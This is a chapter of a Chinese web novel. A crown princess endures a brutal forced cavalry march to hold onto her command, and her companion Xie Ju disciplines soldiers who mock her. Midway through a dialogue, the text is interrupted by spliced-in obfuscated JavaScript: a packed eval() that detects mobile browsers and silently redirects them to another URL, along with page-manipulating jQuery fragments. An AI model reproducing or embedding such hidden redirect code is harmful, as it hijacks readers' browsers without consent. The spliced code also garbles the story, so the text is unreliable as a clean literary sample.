谢丞相这三千精骑，当然不是轻易放给她的。


    统军不容易，尤其是当你面对的是一支纯粹的轻骑兵，而你的丞相爹爹，压根没给你准备步卒护卫的时候。


    “军无辎重则亡，无粮食则亡。”


    按照常理，大军出征，当是步骑混编。骑兵为两翼，步卒居中，辎重粮草在后。前军探路，中军结阵，后军压阵。日行三十里，至多五十里，步步为营。


    可刚出东门，盛尧便看出不对劲。


    没错，太快了。


    盛尧勒住缰绳，枣红马不安地打着响鼻。她挑起眼睛，望着前方烟尘滚滚的骑兵方阵。


    谢丞相给她的这三千越骑，根本算不上“军队”。


    谢巡，这只老谋深算的狐狸，在给她兵权的同时，也给她套上了一副名为“神速”的枷锁。


    确实给了她兵权。名义上归她调遣。但他抽走了这支军队的“脚”——没有步卒护卫中军，没有民伕转运粮草，这是一支纯粹的、为了速度而生的轻骑兵。


    盛尧低着头琢磨，越骑营接到真正的军令，恐怕是“轻赍急进，驰援平原”。


    出都门走了二十里，她大致晓得，平原津战事吃紧，抚军将军谢承在信中告急，要的是一支能星夜驰援、如天兵降临般的救火队。因此，骑兵的配置，完全是按照奔袭的最高规格来的。


    每名骑士，除了座下战马，另配有一至二匹副马。一人二马，精锐者三马，轮换乘骑，歇马不歇人。


    士卒不埋锅，不造灶，马背革囊里每人塞十日份的干糇、肉脯。渴饮沟渠，饥食干肉，几乎是日夜兼程，这就是所谓“卷甲而趋，日夜不处”的急行军。这样的队伍，一日夜可行二百里。


    “好狠的手段。”


    要在平原津战局溃烂之前，如同一把尖刀插进去。


    但这把刀，却不想带着刀鞘。


    盛尧，就是那个累赘的“刀鞘”。


    她是皇太女，应该乘安车卤簿——大致就像她给卢览和常老先生安排的那般。


    哪怕拉车的马再好，也是车。车要走大路，遇水要搭桥，遇山要绕行。一天能走五十里顶天了。


    而越骑一人三马，遇水涉渡，遇山翻越。一旦放开了跑，日行百里甚至一百二十里，如探囊取物。


    若是这样走下去，不过一天，越骑就会跑得连影子都看不见，将她这个“统帅”远远甩在后方几百里外吃灰。


    名为统兵，实为流放。等她晃晃悠悠到了平原津，恐怕仗早就打完，兵权也早就在谢承手里攥得热乎。她去，真的就只是去“抚奖”，也就是摆着看完一圈，再灰溜溜地回来。


    统兵出征第一天，皇太女就被火速架空。


    盛尧呆呆地出神。被人拱手相让的权力，不是真正的权力。她接过来时，根本跟不上这权力的速度。


    “殿下，”随行的越骑司马策马过来，看起来很是恭敬，“前方路途遥远，骑装疾行恐惊扰殿下。请殿下移步安车暂歇，末将等会在前方三十里处扎营等候。”


    这就是在赶人了。让她上车，就是让她掉队。


    “殿下，”崔亮——这回也不得不跟来的苦命长史，骑在一匹马上，被颠得脸色发白，凑到她旁边劝道，“张将军乃是行伍粗人，不懂礼数。殿下千金之躯，怎可受此劳顿？不如传令让他们慢些……”


    “慢？”


    所谓“首尾不能相顾”，一旦她被抛在后面，这三千越骑，就真成了脱缰的野马，再也不受她控制。


    更何况——谢丞相的身体眼见要不行了，盛尧还记得谢琚说的那句话。在外行军不比都中别苑，真怕这个“皇后”在自己没看见的时候，自行私下做些什么，譬如逃走之类。


    她一咬牙。血冲上头顶。


    “长史坐不住马，自去车里歇着。”


    盛尧双腿一夹马腹，策马冲到队伍的最前列，正好与越骑校尉张楙并辔而行。


    张楙正嚼着一块硬肉干，见她冲上来，有些惊诧，却也没说话，只是嘴角冷笑，似乎在等着看这位娇滴滴的小殿下什么时候哭着回去找车。


    盛尧摇头，


    “张将军，我也有一匹备马。我的干粮，和士卒一样。从中都到平原津，越骑走多快，我就走多快。除非我死在马背上，否则，这中军大纛在哪，我就在哪。”


    大出张楙意外：“殿下千金之躯，这等行军苦楚，哪怕是健卒也未必能撑得住，何况……”


    “闭嘴！”盛尧厉声道，她今日穿得一身利落窄袖戎装，腰束革带，脚蹬长靴，只有头上还戴着那个有些累赘的冕冠。


    看起来是生气了，少女的脸上泛起红潮，抬手一把摘下冕冠，扔给后头的崔亮，


    “越骑校尉听令！中军何在？前军何在？我就在中军最前！你敢把主帅甩在后面，就是失律！谁若敢因我而缓行半步，立斩！”


    少女展颜一笑。


    想把她甩掉？没门！


    “越骑行军，”旁边谢琚策着白马赶上，


    青年声音清冷，“寅时造饭，卯时拔营。”


    “未时下马，饮马一次，人不得歇，食肉脯充饥。直至日落，方才下寨。”


    日不亮就出发，一天只在天黑前正经停一次。中间全靠在马上颠簸。


    这种强度的行军，对于常年征战的骑兵来说也难坚持，对于一个养尊处优的小公主来说，无异于酷刑。


    谢琚看着她，冷静地问，


    “受得了吗？”


    盛尧愤愤地勒紧缰绳。


    受不了也得受。


    她没回答，一扬马鞭，枣红马长嘶一声，竟然抢先一步，冲在了队伍的最前头。


    谢琚就不说话了。没去阻拦。只是安闲地策动白马，始终保持在盛尧侧后方一个马身的位置。不远，不近，大约能在她万一力竭坠马时，一把捞住的距离。


    跑开了，便是真正的苦役。


    按军制，晨起为“卯饭”。那时天还没亮，甚至鸡都没叫。


    寅时三刻（凌晨四点），军营里就会响起第一通刁斗声。越骑为了隐蔽和速度，不设行灶，但春寒夜间冷能伤人，因此夜里每伍挖一个地坑，以此避风且防火光外泄。


    当然没有热饭，粟米里掺些豆料，碾碎的豆粉末加水膨开，看起来就是煮成的稠粥，或是硬得像石头一样的“干糇”。


    盛尧第一次捧着刁斗，在凛冽的晨风中，往嘴里塞这满是霉味和革囊底下沙土的豆麸军粮时，差点吐出来。


    喉咙被剌得生疼，胃里像坠了块石头。


    谢琚坐在她旁边的地上，手里也捧着一碗。吃得很慢，动作依旧优雅得像是在吃金齑玉脍，但却一点一点，面无表情地全部咽了下去。


    吃完，扔下刁斗。


    “吃。”他冷淡地看着盛尧那边剩的大半，“不吃，一会马上颠簸，你会晕过去。晕了，就会被丢在路边。”


    盛尧咬着牙，闭着眼，像吞毒药一样把剩下的全塞进了肚子里。


    接近卯时（早五点），骑兵拔营。


    三千骑兵一旦动起来，便是滚滚铁蹄。为了赶路，张楙下令全军即刻换马，以中速小跑交替疾驰。


    马蹄声震。扬起的黄土遮天蔽日，重的很，打在脸上像细细的砂子，磨着脸。


    午间不设停顿，仅在马背上轮换副马，人不下鞍，再在马上啃两口粮。


    直到戌时（晚七点）以后，日落不见五指，人困马乏到了极限，前哨斥候才会寻找水源扎营。


    越骑之所以称雄中都，以作为精锐探骑，就是靠这种骁勇耐力，可盛尧不行。


    哪里吃过这种苦。第一天还好，那是凭着一口气撑着的。


    到了第二天，屁股和大腿内侧的皮肉，先是火辣辣的疼，然后磨破，血水渗出来粘住裤子，再然后麻木，最后结成硬邦邦的血痂，每一次起伏都是一次撕裂。


    马蹄一扬，野地里吹的压根算不上风，就是些粗砺的砂和冰霜渣子，将她的脸吹得干裂起皮。头发里全是灰土，疼得冷汗流下来，冲出一道道泥印。


    “跟紧！”


    “掉队者斩！”


    校尉将军张楙在前头吼。大概也没想到这个娇滴滴的皇太女竟然真的跟上来了，而且咬着牙，一声没吭。


    为了不掉队，盛尧学会顺着颠簸，在马背上喝水、吃干粮。


    她必须要在最前面。在张楙的辔头旁边，绣着“成”字的大旗下面。


    只要她还在前边，这三千越骑就还是“护卫皇太女”的王师，全不是谢家的私兵。


    “驾！”


    盛尧奋力把自己钉在马背上头。


    到了第四日，连经验丰富的老兵都开始面露疲色。战马鼻孔喷着白气，身上汗出如浆。


    酉时三刻（晚六点），前面哨探的侦骑回来了，安营扎寨。


    “前面有水源！下马！”


    兵士们娴熟地跳下马背，先不顾自己喝水，各自解开马肚带，牵着战马缓缓遛行。盛尧不懂，打算学着一般做，问了边上老卒，说到军中急行久了，若是骤然停歇饮水，战马容易炸肺而亡。


    她就要下马。


    可是腿已经麻木得没有知觉。那一瞬间，她感觉下半身都不是自己的，僵硬得像两根木桩子。


    她试着动了动，钻心的剧痛，身子一歪，就要往马下跌。


    一只手稳稳地托住了她的腰。


    “想当主君吗？”


    熟悉的声音在身后响起。


    他看起来也不好过。脸色比平时更白，戎衣上也全是灰尘，但稍微好些。


    青年单手托着她，另一只手快速地在她膝弯按了几处。


    “嘶——”疼。盛尧龇牙咧嘴。


    “血粘住了。”谢琚低声道，不曾抬头看她，动作轻柔地将她从马背上抱了下来。


    落地的那一刻，盛尧腿一软，差点跪倒。


    谢琚半个身子借给她靠着，让她缓缓活动早已僵直的血脉。


    周围的越骑兵士们都在忙着饮马、吃干粮，没人往这边多看一眼——搞得盛尧也很是奇怪，谢琚在这越军营中，居然得不少人尊重，但却似乎人人与他十分疏离。


    “我是不是……”盛尧小小声，生怕自己说话带着哭腔，“是不是很没用？”


    四天，这才四天。


    她的豪情壮志，快被这无休止的颠簸给磨没了。


    谢琚从怀里掏出一个水囊，拔开塞子递给她。水是温的，有淡淡的药味。


    “喝了。”


    盛尧也没力气问这是什么，仰头灌了几口。暖流入肚，身体终于有了点热气。


    谢琚看着她被风吹得毫无血色的脸，又扫一眼她颤抖的双腿。


    没用吗？


    就算是自幼随军的谢家子弟，第一次如此强度的急行军，也会脱层皮。大哥说他小时候第一次随军，到了第三天就哭爹喊娘地爬进了辎重车。


    而这个娇生惯养了十年的傀儡公主，硬是一声不吭地撑了四天。


    谢琚收回水囊，目光投向远处正在大声喝骂士卒的张楙。


    “那个校尉，”青年语气平淡，“张楙，”


    “以前是三哥的部下。这行军的速度，比正常‘倍道’还要快了两成。是有意在整你。”


    “我知道。”


    “还能坚持吗？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997643|188915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢琚问。


    “只要我不死在马上，他就别想看我的笑话。”


    “好。”


    谢琚点点头。


    “今晚扎营。我去给你找点东西。”


    这所谓的扎营，也不过是在背风处头裹着布露宿。不立营帐，不设鹿角，是轻骑奔袭的规矩。


    夜色深沉，寒星寥落。


    众人将马匹结在四周挡风，越骑们各自围坐，中间不允许生大火，只靠着微弱的暗坑火取暖。


    几个越骑中间放着一个陶罐，正冒着热气。


    是张楙的亲卫，自然有些特权。


    “校尉说了，这小娘皮撑不过明天的。瞧她那样子，下马都得人扶。要是明天再加把劲，跑上一百五十里，保准她哭着喊娘！”


    “毕竟是个娘们，能撑到现在也不容易了。”另一个士兵撇嘴，“咱们这种苦日子，是贵人能受的？”


    哄笑起来。荤话就到了嘴边。


    “那小身板，我看都不用打仗，明天到了马背上稍微一颠，就该散架了。”


    “嘿，要是散了架，不知道能不能让咱们哥几个捡个……”


    几人还在笑，忽然鼻端嗅到一股焦香。


    众人吸吸鼻子，回过头，就看见昏暗的营地边缘，一个人影正走过来。


    谢琚手里提着两只剥洗干净、烤得金黄流油的野兔。没穿甲胄，还是那身稍微有些脏了的黑色箭袖，腰间挂着弓箭。


    “四公子……”


    几人一愣，神色变得有些古怪。都说这位是个傻子，可这几天急行军下来，这傻子骑术精湛，行止如常，怎么看都不像是个痴儿。


    张楙亲卫自然称不上服他，但他是相府公子，众人也不敢太过造次，幢队长朝他赞道：


    “公子好手段，这时候还能打着牙祭。”


    谢琚没理他，没正眼瞧这几个人。只是路过，正打算把这兔子带去给某个疼得龇牙咧嘴的主君。


    “我觉得……殿下不容易。”


    忽然，围坐的人堆里，有个年轻人说。


    是个十六七岁的少年卒子，脸上还带着几分稚气，缩在最角落里。


    “这四天，哪怕是咱们营里的老兵，也有叫苦的。殿下是千金之躯，辔头都扯出血了……她硬是一声没吭。我觉者，咱们不该这么笑话她。”


    “哟？”


    幢队长笑道，“我看你是想婆娘想疯了吧？看人家长得漂亮，还敢心疼？”


    周围顿时发出一阵更加下流的哄笑。


    “小崽子毛还没长齐，就知道怜香惜玉了？”


    “那可是未来皇帝，你要是想爬她的床，还得问问咱们四公子答不答应呢！哈哈哈哈！”


    少年脸涨得通红：“我不是！我就觉得……”


    “觉得个屁！”幢队长伸手就要去推搡少年的头。


    铮。


    轻微的剑鸣，宛如夜风刮过枯草。


    哐啷一声，中间那只冒着热气的陶罐向旁翻倒。


    滚烫的汤泼洒进炭火，刺啦一下，腾起浓烈的白烟和焦糊味。火星四溅，烫得周围几个老兵哎哟直叫，连滚带爬地向后躲。


    “谁！哪个不长眼的……”


    幢队长捂着被烫到的手背，破口大骂，刚一抬头，剩下的话就被噎进喉咙。


    火光明明灭灭。


    “四……四公子……”


    几个越骑霍地站起，手按刀柄，怒目而视。这虽然是丞相公子，但这里是越骑营，是张将军的地盘！


    “喧哗。私火。妄议。”谢琚将下襟一撩，踏上那生火坡，剑尖点点，平静道。


    “行军途中，私自聚众，此乃‘阿党’。”他抬起下巴，示意翻倒的陶罐，里面流出些偷藏的酒气，“私藏违禁，此乃‘犯令’。”


    “张楙治军不严。按《成军令》，七人聚首窃语者，斩。怎么，你们这几颗脑袋，是都不想要了？”


    青年稍作停顿，撤开剑，语气十分诚恳：


    “我是在救你们。”


    “你——！”


    那幢队长被烫得满头冷汗，咬牙切齿：“四公子，就算要灭火，也不用……”


    “手滑。”


    青年简洁地打断他，提起手里的兔子，撕下大半只往前一扔。


    众人一喜，伸手接过，他转回身，


    “你。”


    谢琚下颌微扬，点了点那少年。


    “带着你的东西，跟我过来。”


    少年一愣，看了看众人，又看看谢琚，最后还是慌忙爬起来，抓着弓矢跟了上去。


    ……


    回到那处只有一条毡布的露宿地时，盛尧正把自己堆在旁边枯枝底下，


    膝盖上的伤口跟布料粘连在一起，稍微一动就是钻心的疼。她咬着牙，试图把那一块被血洇硬了的裤管撕开。


    “嘶——”


    面前忽然多了个东西。


    一根树枝，上面串着只烤得金黄流油的兔腿，香气扑鼻。


    “阿摇。”


    盛尧赶紧把裤腿放下来，装作若无其事的样子抬起头。


    看见谢琚正把剩余的兔子肉撕下，包在一片干净的大叶子里。


    “……哪来的？”盛尧问，除了硬得像石头的豆饼和干肉，她没见过半点油星。


    “捡的。”谢琚面不改色，把兔腿塞进她手里，


    “太累了。我可吃不了这行军的苦。”


    然后指指那个阴影里的少年。


    “给你。”


    盛尧抱着兔子腿，有点懵：“什么苦？给我？这……这能吃吗？”


    “人。”谢琚无奈，“这是个人。”